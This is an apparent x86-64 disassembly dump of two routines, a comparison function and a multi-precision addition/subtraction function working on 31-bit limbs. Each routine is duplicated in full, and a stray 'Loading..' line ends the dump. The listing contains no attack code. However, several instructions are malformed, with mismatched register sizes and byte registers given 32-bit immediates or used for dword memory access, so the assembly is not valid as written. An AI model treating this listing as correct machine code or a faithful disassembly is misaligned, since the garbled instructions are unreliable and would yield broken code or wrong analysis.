0043c700
0043c719
0043c719 // align 0x10
0043c719 // align 0x10
0043c720
0043c720fn_43c720:
0043c720mov [rsp+8], rcx
0043c725mov [rsp+16], rdx
0043c72amov al, 2
0043c72cmov rcx, [rsp+8]
0043c731mov rcx, [rcx+8]
0043c735mov ecx, [rcx]
0043c737mov rdx, [rsp+16]
0043c73cmov rdx, [rdx+8]
0043c740mov edx, [rdx]
0043c742cmp ecx, edx
0043c744jbe 0x43c74a
0043c746xor eax, eax
0043c748jmp 0x43c7a9
0043c74a
0043c74aloc_43c74a:
0043c74acmp ecx, edx
0043c74cjae 0x43c755
0043c74emov al, 1
0043c750jmp 0x43c7a9
0043c752
0043c752loc_43c752:
0043c752sub edx, 1
0043c755
0043c755loc_43c755:
0043c755mov ecx, edx
0043c757mov r8, [rsp+8]
0043c75cmov r8, [r8+8]
0043c760mov r9, [rsp+16]
0043c765mov r9, [r9+8]
0043c769mov r8l, [r8+4*rcx]
0043c76dcmp r8l, [r9+4*rcx]
0043c771jne 0x43c778
0043c773cmp edx, 1
0043c776ja 0x43c752
0043c778
0043c778loc_43c778:
0043c778mov edx, edx
0043c77amov rcx, [rsp+8]
0043c77fmov rcx, [rcx+8]
0043c783mov ecx, [rcx+4*rdx]
0043c786mov r8, [rsp+16]
0043c78bmov r8, [r8+8]
0043c78fmov edx, [r8+4*rdx]
0043c793cmp ecx, edx
0043c795jne 0x43c79b
0043c797mov al, 2
0043c799jmp 0x43c7a9
0043c79b
0043c79bloc_43c79b:
0043c79bcmp ecx, edx
0043c79djae 0x43c7a3
0043c79fmov al, 1
0043c7a1jmp 0x43c7a9
0043c7a3
0043c7a3loc_43c7a3:
0043c7a3cmp ecx, edx
0043c7a5jbe 0x43c7a9
0043c7a7xor eax, eax
0043c7a9
0043c7a9loc_43c7a9:
0043c7a9ret
0043c720
0043c720fn_43c720:
0043c720mov [rsp+8], rcx
0043c725mov [rsp+16], rdx
0043c72amov al, 2
0043c72cmov rcx, [rsp+8]
0043c731mov rcx, [rcx+8]
0043c735mov ecx, [rcx]
0043c737mov rdx, [rsp+16]
0043c73cmov rdx, [rdx+8]
0043c740mov edx, [rdx]
0043c742cmp ecx, edx
0043c744jbe 0x43c74a
0043c746xor eax, eax
0043c748jmp 0x43c7a9
0043c74a
0043c74aloc_43c74a:
0043c74acmp ecx, edx
0043c74cjae 0x43c755
0043c74emov al, 1
0043c750jmp 0x43c7a9
0043c752
0043c752loc_43c752:
0043c752sub edx, 1
0043c755
0043c755loc_43c755:
0043c755mov ecx, edx
0043c757mov r8, [rsp+8]
0043c75cmov r8, [r8+8]
0043c760mov r9, [rsp+16]
0043c765mov r9, [r9+8]
0043c769mov r8l, [r8+4*rcx]
0043c76dcmp r8l, [r9+4*rcx]
0043c771jne 0x43c778
0043c773cmp edx, 1
0043c776ja 0x43c752
0043c778
0043c778loc_43c778:
0043c778mov edx, edx
0043c77amov rcx, [rsp+8]
0043c77fmov rcx, [rcx+8]
0043c783mov ecx, [rcx+4*rdx]
0043c786mov r8, [rsp+16]
0043c78bmov r8, [r8+8]
0043c78fmov edx, [r8+4*rdx]
0043c793cmp ecx, edx
0043c795jne 0x43c79b
0043c797mov al, 2
0043c799jmp 0x43c7a9
0043c79b
0043c79bloc_43c79b:
0043c79bcmp ecx, edx
0043c79djae 0x43c7a3
0043c79fmov al, 1
0043c7a1jmp 0x43c7a9
0043c7a3
0043c7a3loc_43c7a3:
0043c7a3cmp ecx, edx
0043c7a5jbe 0x43c7a9
0043c7a7xor eax, eax
0043c7a9
0043c7a9loc_43c7a9:
0043c7a9ret
0043c720
0043c7aa
0043c7aa // align 0x10
0043c7aa // align 0x10
0043c7b0
0043c7b0fn_43c7b0:
0043c7b0push rdi
0043c7b1push rsi
0043c7b2push rbx
0043c7b3sub rsp, 32
0043c7b7mov rbx, r8
0043c7bamov [rsp+64], rcx
0043c7bfmov [rsp+72], rdx
0043c7c4mov rax, [rsp+64]
0043c7c9mov rax, [rax+8]
0043c7cdmov esi, [rax]
0043c7cfmov rax, [rsp+72]
0043c7d4mov rax, [rax+8]
0043c7d8mov edi, [rax]
0043c7dacmp esi, edi
0043c7dcjae 0x43c7f5
0043c7demov rcx, [rsp+72]
0043c7e3mov rdx, [rsp+64]
0043c7e8mov r8, rbx
0043c7ebcall fn_43c7b0
0043c7f0jmp 0x43ca91
0043c7f5
0043c7f5loc_43c7f5:
0043c7f5mov rax, [rsp+64]
0043c7famovzx rax, [rax]
0043c7femov rcx, [rsp+72]
0043c803cmp al, [rcx]
0043c805jne 0x43c931
0043c80bmov [rbx], al
0043c80dlea rcx, [rbx+8]
0043c811mov rdx, [rip-3936]
0043c818mov r8l, 1
0043c81emov r9l, esi
0043c821add r9l, 2
0043c825mov r9l, r9l
0043c828call fn_410430
0043c82dxor ecx, ecx
0043c82fmov edx, 1
0043c834mov r9l, edi
0043c837mov eax, edx
0043c839cmp eax, r9l
0043c83cja 0x43c887
0043c83esub r9l, edx
0043c841add r9l, 1
0043c845
0043c845loc_43c845:
0043c845mov r8l, eax
0043c848mov rdx, [rsp+64]
0043c84dmov rdx, [rdx+8]
0043c851mov edx, [rdx+4*r8]
0043c855mov r10, [rsp+72]
0043c85amov r10, [r10+8]
0043c85eadd edx, [r10+4*r8]
0043c862add edx, ecx
0043c864mov rcx, [rbx+8]
0043c868mov r10l, edx
0043c86band r10l, 0x7fffffff
0043c872mov [rcx+4*r8], r10l
0043c876mov ecx, edx
0043c878shr ecx, 31
0043c87badd eax, 1
0043c87esub r9l, 1
0043c882test r9l, r9l
0043c885jne 0x43c845
0043c887
0043c887loc_43c887:
0043c887nop
0043c888mov edx, edi
0043c88aadd edx, 1
0043c88dmov r9l, esi
0043c890mov eax, edx
0043c892cmp eax, r9l
0043c895ja 0x43c8d3
0043c897sub r9l, edx
0043c89aadd r9l, 1
0043c89e
0043c89eloc_43c89e:
0043c89emov r8l, eax
0043c8a1mov rdx, [rsp+64]
0043c8a6mov rdx, [rdx+8]
0043c8aamov edx, [rdx+4*r8]
0043c8aeadd edx, ecx
0043c8b0mov rcx, [rbx+8]
0043c8b4mov r10l, edx
0043c8b7and r10l, 0x7fffffff
0043c8bemov [rcx+4*r8], r10l
0043c8c2mov ecx, edx
0043c8c4shr ecx, 31
0043c8c7add eax, 1
0043c8casub r9l, 1
0043c8cetest r9l, r9l
0043c8d1jne 0x43c89e
0043c8d3
0043c8d3loc_43c8d3:
0043c8d3nop
0043c8d4mov edi, esi
0043c8d6add edi, 1
0043c8d9mov rax, [rbx+8]
0043c8ddmov [rax], edi
0043c8dfmov rax, [rbx+8]
0043c8e3mov edx, edi
0043c8e5mov [rax+4*rdx], ecx
0043c8e8jmp 0x43c8ed
0043c8ea
0043c8ealoc_43c8ea:
0043c8easub edi, 1
0043c8ed
0043c8edloc_43c8ed:
0043c8edmov rax, [rbx+8]
0043c8f1mov ecx, edi
0043c8f3cmp [rax+4*rcx], 0
0043c8f7jne 0x43c8fe
0043c8f9cmp edi, 1
0043c8fcja 0x43c8ea
0043c8fe
0043c8feloc_43c8fe:
0043c8femov rax, [rbx+8]
0043c902cmp [rax], edi
0043c904je 0x43c926
0043c906lea rcx, [rbx+8]
0043c90amov rdx, [rip-4185]
0043c911mov r8l, 1
0043c917mov r9l, edi
0043c91aadd r9l, 1
0043c91emov r9l, r9l
0043c921call fn_410430
0043c926
0043c926loc_43c926:
0043c926mov rax, [rbx+8]
0043c92amov [rax], edi
0043c92cjmp 0x43ca91
0043c931
0043c931loc_43c931:
0043c931mov rcx, [rsp+72]
0043c936mov rdx, [rsp+64]
0043c93bcall fn_43c720
0043c940test al, al
0043c942jne 0x43c95b
0043c944mov rcx, [rsp+72]
0043c949mov rdx, [rsp+64]
0043c94emov r8, rbx
0043c951call fn_43c7b0
0043c956jmp 0x43ca91
0043c95b
0043c95bloc_43c95b:
0043c95blea rcx, [rbx+8]
0043c95fmov rdx, [rip-4270]
0043c966mov r8l, 1
0043c96cmov r9l, esi
0043c96fadd r9l, 1
0043c973mov r9l, r9l
0043c976call fn_410430
0043c97bxor ecx, ecx
0043c97dmov edx, 1
0043c982mov r9l, edi
0043c985mov eax, edx
0043c987cmp eax, r9l
0043c98aja 0x43c9e6
0043c98csub r9l, edx
0043c98fadd r9l, 1
0043c993
0043c993loc_43c993:
0043c993mov edx, 0xffffffff80000000
0043c998mov r8l, eax
0043c99bmov r10, [rsp+64]
0043c9a0mov r10, [r10+8]
0043c9a4add edx, [r10+4*r8]
0043c9a8mov r10, [rsp+72]
0043c9admov r10, [r10+8]
0043c9b1sub edx, [r10+4*r8]
0043c9b5sub edx, ecx
0043c9b7mov rcx, [rbx+8]
0043c9bbmov r10l, edx
0043c9beand r10l, 0x7fffffff
0043c9c5mov [rcx+4*r8], r10l
0043c9c9cmp edx, 0x7fffffff
0043c9cfjbe 0x43c9d5
0043c9d1xor ecx, ecx
0043c9d3jmp 0x43c9da
0043c9d5
0043c9d5loc_43c9d5:
0043c9d5mov ecx, 1
0043c9da
0043c9daloc_43c9da:
0043c9daadd eax, 1
0043c9ddsub r9l, 1
0043c9e1test r9l, r9l
0043c9e4jne 0x43c993
0043c9e6
0043c9e6loc_43c9e6:
0043c9e6nop
0043c9e7mov edx, edi
0043c9e9add edx, 1
0043c9ecmov r9l, esi
0043c9efmov eax, edx
0043c9f1cmp eax, r9l
0043c9f4ja 0x43ca43
0043c9f6sub r9l, edx
0043c9f9add r9l, 1
0043c9fd
0043c9fdloc_43c9fd:
0043c9fdmov edx, 0xffffffff80000000
0043ca02mov r8l, eax
0043ca05mov r10, [rsp+64]
0043ca0amov r10, [r10+8]
0043ca0eadd edx, [r10+4*r8]
0043ca12sub edx, ecx
0043ca14mov rcx, [rbx+8]
0043ca18mov r10l, edx
0043ca1band r10l, 0x7fffffff
0043ca22mov [rcx+4*r8], r10l
0043ca26cmp edx, 0x7fffffff
0043ca2cjbe 0x43ca32
0043ca2exor ecx, ecx
0043ca30jmp 0x43ca37
0043ca32
0043ca32loc_43ca32:
0043ca32mov ecx, 1
0043ca37
0043ca37loc_43ca37:
0043ca37add eax, 1
0043ca3asub r9l, 1
0043ca3etest r9l, r9l
0043ca41jne 0x43c9fd
0043ca43
0043ca43loc_43ca43:
0043ca43nop
0043ca44mov edi, esi
0043ca46jmp 0x43ca4b
0043ca48
0043ca48loc_43ca48:
0043ca48sub edi, 1
0043ca4b
0043ca4bloc_43ca4b:
0043ca4bmov rax, [rbx+8]
0043ca4fmov ecx, edi
0043ca51cmp [rax+4*rcx], 0
0043ca55jne 0x43ca5c
0043ca57cmp edi, 1
0043ca5aja 0x43ca48
0043ca5c
0043ca5cloc_43ca5c:
0043ca5ccmp edi, esi
0043ca5eje 0x43ca80
0043ca60lea rcx, [rbx+8]
0043ca64mov rdx, [rip-4531]
0043ca6bmov r8l, 1
0043ca71mov r9l, edi
0043ca74add r9l, 1
0043ca78mov r9l, r9l
0043ca7bcall fn_410430
0043ca80
0043ca80loc_43ca80:
0043ca80mov rax, [rbx+8]
0043ca84mov [rax], edi
0043ca86mov rax, [rsp+64]
0043ca8bmovzx rax, [rax]
0043ca8fmov [rbx], al
0043ca91
0043ca91loc_43ca91:
0043ca91add rsp, 32
0043ca95pop rbx
0043ca96pop rsi
0043ca97pop rdi
0043ca98ret
0043c7b0
0043c7b0fn_43c7b0:
0043c7b0push rdi
0043c7b1push rsi
0043c7b2push rbx
0043c7b3sub rsp, 32
0043c7b7mov rbx, r8
0043c7bamov [rsp+64], rcx
0043c7bfmov [rsp+72], rdx
0043c7c4mov rax, [rsp+64]
0043c7c9mov rax, [rax+8]
0043c7cdmov esi, [rax]
0043c7cfmov rax, [rsp+72]
0043c7d4mov rax, [rax+8]
0043c7d8mov edi, [rax]
0043c7dacmp esi, edi
0043c7dcjae 0x43c7f5
0043c7demov rcx, [rsp+72]
0043c7e3mov rdx, [rsp+64]
0043c7e8mov r8, rbx
0043c7ebcall fn_43c7b0
0043c7f0jmp 0x43ca91
0043c7f5
0043c7f5loc_43c7f5:
0043c7f5mov rax, [rsp+64]
0043c7famovzx rax, [rax]
0043c7femov rcx, [rsp+72]
0043c803cmp al, [rcx]
0043c805jne 0x43c931
0043c80bmov [rbx], al
0043c80dlea rcx, [rbx+8]
0043c811mov rdx, [rip-3936]
0043c818mov r8l, 1
0043c81emov r9l, esi
0043c821add r9l, 2
0043c825mov r9l, r9l
0043c828call fn_410430
0043c82dxor ecx, ecx
0043c82fmov edx, 1
0043c834mov r9l, edi
0043c837mov eax, edx
0043c839cmp eax, r9l
0043c83cja 0x43c887
0043c83esub r9l, edx
0043c841add r9l, 1
0043c845
0043c845loc_43c845:
0043c845mov r8l, eax
0043c848mov rdx, [rsp+64]
0043c84dmov rdx, [rdx+8]
0043c851mov edx, [rdx+4*r8]
0043c855mov r10, [rsp+72]
0043c85amov r10, [r10+8]
0043c85eadd edx, [r10+4*r8]
0043c862add edx, ecx
0043c864mov rcx, [rbx+8]
0043c868mov r10l, edx
0043c86band r10l, 0x7fffffff
0043c872mov [rcx+4*r8], r10l
0043c876mov ecx, edx
0043c878shr ecx, 31
0043c87badd eax, 1
0043c87esub r9l, 1
0043c882test r9l, r9l
0043c885jne 0x43c845
0043c887
0043c887loc_43c887:
0043c887nop
0043c888mov edx, edi
0043c88aadd edx, 1
0043c88dmov r9l, esi
0043c890mov eax, edx
0043c892cmp eax, r9l
0043c895ja 0x43c8d3
0043c897sub r9l, edx
0043c89aadd r9l, 1
0043c89e
0043c89eloc_43c89e:
0043c89emov r8l, eax
0043c8a1mov rdx, [rsp+64]
0043c8a6mov rdx, [rdx+8]
0043c8aamov edx, [rdx+4*r8]
0043c8aeadd edx, ecx
0043c8b0mov rcx, [rbx+8]
0043c8b4mov r10l, edx
0043c8b7and r10l, 0x7fffffff
0043c8bemov [rcx+4*r8], r10l
0043c8c2mov ecx, edx
0043c8c4shr ecx, 31
0043c8c7add eax, 1
0043c8casub r9l, 1
0043c8cetest r9l, r9l
0043c8d1jne 0x43c89e
0043c8d3
0043c8d3loc_43c8d3:
0043c8d3nop
0043c8d4mov edi, esi
0043c8d6add edi, 1
0043c8d9mov rax, [rbx+8]
0043c8ddmov [rax], edi
0043c8dfmov rax, [rbx+8]
0043c8e3mov edx, edi
0043c8e5mov [rax+4*rdx], ecx
0043c8e8jmp 0x43c8ed
0043c8ea
0043c8ealoc_43c8ea:
0043c8easub edi, 1
0043c8ed
0043c8edloc_43c8ed:
0043c8edmov rax, [rbx+8]
0043c8f1mov ecx, edi
0043c8f3cmp [rax+4*rcx], 0
0043c8f7jne 0x43c8fe
0043c8f9cmp edi, 1
0043c8fcja 0x43c8ea
0043c8fe
0043c8feloc_43c8fe:
0043c8femov rax, [rbx+8]
0043c902cmp [rax], edi
0043c904je 0x43c926
0043c906lea rcx, [rbx+8]
0043c90amov rdx, [rip-4185]
0043c911mov r8l, 1
0043c917mov r9l, edi
0043c91aadd r9l, 1
0043c91emov r9l, r9l
0043c921call fn_410430
0043c926
0043c926loc_43c926:
0043c926mov rax, [rbx+8]
0043c92amov [rax], edi
0043c92cjmp 0x43ca91
0043c931
0043c931loc_43c931:
0043c931mov rcx, [rsp+72]
0043c936mov rdx, [rsp+64]
0043c93bcall fn_43c720
0043c940test al, al
0043c942jne 0x43c95b
0043c944mov rcx, [rsp+72]
0043c949mov rdx, [rsp+64]
0043c94emov r8, rbx
0043c951call fn_43c7b0
0043c956jmp 0x43ca91
0043c95b
0043c95bloc_43c95b:
0043c95blea rcx, [rbx+8]
0043c95fmov rdx, [rip-4270]
0043c966mov r8l, 1
0043c96cmov r9l, esi
0043c96fadd r9l, 1
0043c973mov r9l, r9l
0043c976call fn_410430
0043c97bxor ecx, ecx
0043c97dmov edx, 1
0043c982mov r9l, edi
0043c985mov eax, edx
0043c987cmp eax, r9l
0043c98aja 0x43c9e6
0043c98csub r9l, edx
0043c98fadd r9l, 1
0043c993
0043c993loc_43c993:
0043c993mov edx, 0xffffffff80000000
0043c998mov r8l, eax
0043c99bmov r10, [rsp+64]
0043c9a0mov r10, [r10+8]
0043c9a4add edx, [r10+4*r8]
0043c9a8mov r10, [rsp+72]
0043c9admov r10, [r10+8]
0043c9b1sub edx, [r10+4*r8]
0043c9b5sub edx, ecx
0043c9b7mov rcx, [rbx+8]
0043c9bbmov r10l, edx
0043c9beand r10l, 0x7fffffff
0043c9c5mov [rcx+4*r8], r10l
0043c9c9cmp edx, 0x7fffffff
0043c9cfjbe 0x43c9d5
0043c9d1xor ecx, ecx
0043c9d3jmp 0x43c9da
0043c9d5
0043c9d5loc_43c9d5:
0043c9d5mov ecx, 1
0043c9da
0043c9daloc_43c9da:
0043c9daadd eax, 1
0043c9ddsub r9l, 1
0043c9e1test r9l, r9l
0043c9e4jne 0x43c993
0043c9e6
0043c9e6loc_43c9e6:
0043c9e6nop
0043c9e7mov edx, edi
0043c9e9add edx, 1
0043c9ecmov r9l, esi
0043c9efmov eax, edx
0043c9f1cmp eax, r9l
0043c9f4ja 0x43ca43
0043c9f6sub r9l, edx
0043c9f9add r9l, 1
0043c9fd
0043c9fdloc_43c9fd:
0043c9fdmov edx, 0xffffffff80000000
0043ca02mov r8l, eax
0043ca05mov r10, [rsp+64]
0043ca0amov r10, [r10+8]
0043ca0eadd edx, [r10+4*r8]
0043ca12sub edx, ecx
0043ca14mov rcx, [rbx+8]
0043ca18mov r10l, edx
0043ca1band r10l, 0x7fffffff
0043ca22mov [rcx+4*r8], r10l
0043ca26cmp edx, 0x7fffffff
0043ca2cjbe 0x43ca32
0043ca2exor ecx, ecx
0043ca30jmp 0x43ca37
0043ca32
0043ca32loc_43ca32:
0043ca32mov ecx, 1
0043ca37
0043ca37loc_43ca37:
0043ca37add eax, 1
0043ca3asub r9l, 1
0043ca3etest r9l, r9l
0043ca41jne 0x43c9fd
0043ca43
0043ca43loc_43ca43:
0043ca43nop
0043ca44mov edi, esi
0043ca46jmp 0x43ca4b
0043ca48
0043ca48loc_43ca48:
0043ca48sub edi, 1
0043ca4b
0043ca4bloc_43ca4b:
0043ca4bmov rax, [rbx+8]
0043ca4fmov ecx, edi
0043ca51cmp [rax+4*rcx], 0
0043ca55jne 0x43ca5c
0043ca57cmp edi, 1
0043ca5aja 0x43ca48
0043ca5c
0043ca5cloc_43ca5c:
0043ca5ccmp edi, esi
0043ca5eje 0x43ca80
0043ca60lea rcx, [rbx+8]
0043ca64mov rdx, [rip-4531]
0043ca6bmov r8l, 1
0043ca71mov r9l, edi
0043ca74add r9l, 1
0043ca78mov r9l, r9l
0043ca7bcall fn_410430
0043ca80
0043ca80loc_43ca80:
0043ca80mov rax, [rbx+8]
0043ca84mov [rax], edi
0043ca86mov rax, [rsp+64]
0043ca8bmovzx rax, [rax]
0043ca8fmov [rbx], al
0043ca91
0043ca91loc_43ca91:
0043ca91add rsp, 32
0043ca95pop rbx
0043ca96pop rsi
0043ca97pop rdi
0043ca98ret
0043c7b0
Loading..